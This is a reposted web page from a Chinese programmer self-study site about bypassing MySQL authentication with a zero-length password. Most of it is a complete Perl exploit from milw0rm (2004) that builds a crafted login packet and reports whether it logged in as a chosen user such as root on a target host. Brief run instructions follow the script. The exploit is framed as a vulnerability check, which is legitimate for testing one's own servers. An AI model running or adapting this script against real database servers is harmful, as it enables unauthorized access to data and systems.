好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

通过0长度密码绕过MySQL认证 - 网站安全 - 自学p

www.2cto.com 一篇老文章了,站里还没有 用户用一个精心构造的认证数据包 可能会绕过数据库的密码认证   注意: 为了使用这个脚本, MySQL的监听程序必须允许来自扫描的 IP地址的连接。 以下是测试脚本,检测是否存在 漏洞 #!/usr/bin/perl # # The script connects to MySQL and attempts to log in using a zero-length password # Based on the vuln found by NGSSecurity # # The following Perl script can be used to test your version of MySQL. It will display # the login packet sent to the server and it's reply. # # Exploit copyright (c) 2004 by Eli Kara, Beyond Security # elik beyondsecurity com # use strict; use IO::Socket::INET; usage() unless ((@ARGV >= 1) || (@ARGV <= 3)); my $username = shift(@ARGV); my $host = shift(@ARGV); if (!$host) {   usage(); } my $port = shift(@ARGV); if (!$port) {  $port = 3306; print "Using default MySQL port (3306)\n"; } # create the socket my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port); $socket or die "Cannot connect to host!\n"; # receive greeting my $reply; recv($socket, $reply, 1024, 0); if (length($reply) < 7) {  print "Not allowed to connect to MySQL!\n";  exit(1); } print "Received greeting:\n"; HexDump($reply); print "\n"; # here we define the login OK reply # my $login_ok = "\x01\x00\x00\x02\xFE"; # break the username string into chars and rebuild it my $binuser = pack("C*", unpack("C*", $username)); # send login caps packet with password my $packet = "\x85\xa6".              "\x03\x00\x00".     "\x00".     "\x00\x01\x08\x00\x00\x00". # capabilities, max packet, etc..              "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".              "\x00\x00\x00\x00".$binuser."\x00\x14\x00\x00\x00\x00". # username and pword hash length + NULL hash              "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; # continue NULL hash substr($packet, 0, 0) = pack("C1", length($packet)) . "\x00\x00\x01"; # MySQL message length + packet number (1) print "Sending caps packet:\n"; HexDump($packet); print "\n"; send $socket, $packet, 0; # receive reply recv($socket, $reply, 1024, 0); print "Received reply:\n"; HexDump($reply); my @list_bytes = unpack("C*", $reply); #print "The fifth byte is: ", $list_bytes[4], "\n"; if (length(@list_bytes) >= 4) {  print "Response insufficent\n"; } #if ($reply eq $login_ok) if ($list_bytes[4] == 0 || $list_bytes[4] == 254) {  print "Received OK reply, authentication successful!!\n"; } else {  print "Authentication failed!\n"; } # close close($socket);   sub usage {     # print usage information     print "\nUsage: mysql _auth_bypass_zeropass.pl <username> <host> [port]\n <username> - The DB username to authenticate as <host> - The host to connect to [port] - The TCP port which MySQL is listening on (optional, default is 3306)\n\n";     exit(1); }   ### # do a hexdump of a string (assuming it's binary) ### sub HexDump {  my $buffer = $_[0];  # unpack it into chars  my @up = unpack("C*", $buffer);  my $pos=0;  # calculate matrix sizes  my $rows = int(@up/16);  my $leftover = int(@up%16);  for( my $row=0; $row < $rows ; $row++, $pos+=16)  {   printf("%08X\t", $pos);   my @values = @up[$pos .. $pos+15];   my @line;   foreach my $val (@values)   {    push(@line, sprintf("%02X", $val));   }   print join(' ', @line), "\n";  }  # print last line  printf("%08X\t", $pos);  my @values = @up[$pos .. $pos+$leftover-1];  my @line;  foreach my $val (@values)  {   push(@line, sprintf("%02X", $val));  }  print join(' ', @line), "\n"; } # milw0rm.com [2004-07-10]   由于是用perl来调用执行,所以 系统 必须先装上perl编译器,而且脚本第一行的路径必须是真实存在。 运行: 文见取名test,然后chmod +x test #test root hostname就可以测试了。

查看更多关于通过0长度密码绕过MySQL认证 - 网站安全 - 自学p的详细内容...

  阅读:39次